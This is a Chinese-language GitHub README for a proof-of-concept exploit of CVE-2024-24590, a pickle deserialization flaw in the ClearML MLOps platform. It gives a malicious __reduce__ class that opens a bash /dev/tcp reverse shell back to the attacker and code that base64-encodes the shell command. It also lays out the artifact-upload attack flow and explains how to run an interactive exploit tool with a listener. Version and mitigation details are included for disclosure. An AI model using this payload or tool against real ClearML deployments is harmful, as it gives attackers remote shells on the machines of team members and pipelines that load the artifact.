rippsec/CVE-2024-24590-ClearML-RCE-Exploit
GitHub: rippsec/CVE-2024-24590-ClearML-RCE-Exploit
演示如何利用 ClearML 的 pickle 反序列化漏洞实现 RCE 的 PoC 工具。
Stars: 6 | Forks: 3
# CVE-2024-24590 — ClearML Pickle Artifact RCE
## 概述
| 字段 | 详情 |
|---|---|
| **CVE** | CVE-2024-24590 |
| **软件** | ClearML |
| **受影响版本** | 0.17.0 – 1.14.2 |
| **漏洞** | 对任务工件(artifacts)的 unsafe pickle 反序列化 |
| **认证要求** | 需要对 ClearML 项目具有写入权限 |
| **影响** | 在加载该工件的任何机器上实现远程代码执行(RCE) |
| **测试环境** | Ubuntu 22.04,Python 3.9+ |
## 描述
ClearML 是一个 MLOps 平台,用于跟踪实验、管理数据集并在团队成员之间共享工件(模型、文件、对象)。当工件以 Python 对象形式上传时,ClearML 使用 Python 的 `pickle` 模块对其进行序列化。当其他用户下载并加载该工件时,ClearML 也会使用 `pickle` 进行反序列化 —— **且不进行任何完整性验证或类白名单检查**。
拥有对共享 ClearML 项目写入权限的攻击者可以上传一个包含重载 `__reduce__` 方法的恶意工件。任何获取并加载该工件的团队成员或自动化流水线都会在反序列化过程中执行攻击者的载荷,从而在其机器上实现 RCE。
## 技术细节
### 根本原因
Python 的 `pickle` 模块对于不受信任的输入本质上是不安全的。类上的 `__reduce__` 魔法方法控制对象在反序列化时的重建方式 —— 它可以返回任意可调用对象和参数,包括 `os.system`:
```
class exploit:
def __reduce__(self):
return os.system, ("bash -c 'bash -i >& /dev/tcp// 0>&1'",)
```
当对象被序列化后再反序列化时,Python 会在对象重建过程中调用 `os.system(cmd)` —— 而调用者在此时还没有机会检查该对象。
### 攻击流程
```
Attacker (project write access)
│
▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
│
▼
ClearML server stores artifact as a pickled binary blob
│
▼
Victim fetches artifact (automated pipeline / manual review)
task.artifacts["model"].get()
│
▼
pickle.loads(blob) → __reduce__ fires → os.system(reverse_shell_cmd)
│
▼
Reverse shell connects back to attacker
```
### 载荷编码
反向 Shell 命令在嵌入前会先进行 Base64 编码,以避免序列化字符串中的 Shell 引号问题:
```
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'
```
## 先决条件
- 拥有对目标服务器上至少一个项目的 **写入权限** 的 ClearML 账户
- 受害者必须反序列化工件(通过 ClearML SDK 获取)
## 安装
```
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt
```
**依赖项:** `clearml`、`pwntools`、`colorama`
## 使用
```
python3 exploit.py
```
交互式菜单会引导完成两个步骤:
**步骤 1 — 初始化 ClearML(选项 `1`)**
运行 `clearml-init` 以配置目标 ClearML 服务器的凭据。会自动先备份已有的 `~/clearml.conf`。
**步骤 2 — 运行利用(选项 `2`)**
提示输入:
- 监听 IP 地址
- 监听端口
- 目标项目名称(区分大小写 —— 必须是具有写入权限的项目)
在上传工件之前,可选择自动启动一个 `pwncat` 监听器。

## 缓解措施
- 升级到 ClearML **≥ 1.14.3**,该版本限制了对工件反序列化的支持
- 审查项目访问控制,仅向可信用户授予写入权限
- 如果使用旧版本,请将 ClearML 工件存储视为不可信代码执行面
## 参考
- [NVD 条目](https://nvd.nist.gov/vuln/detail/CVE-2024-24590)
- [ClearML GitHub](https://github.com/allegroai/clearml)
- [Python pickle 安全警告](https://docs.python.org/3/library/pickle.html)
标签:Artifact, ClearML, CVE-2024-24590, MLOps, OS命令执行, Pickle, Python, RCE, __reduce__, 不安全反序列化, 供应链攻击, 反序列化, 实验跟踪, 数据科学平台, 无后门, 模型共享, 编程工具, 远程代码执行, 逆向工具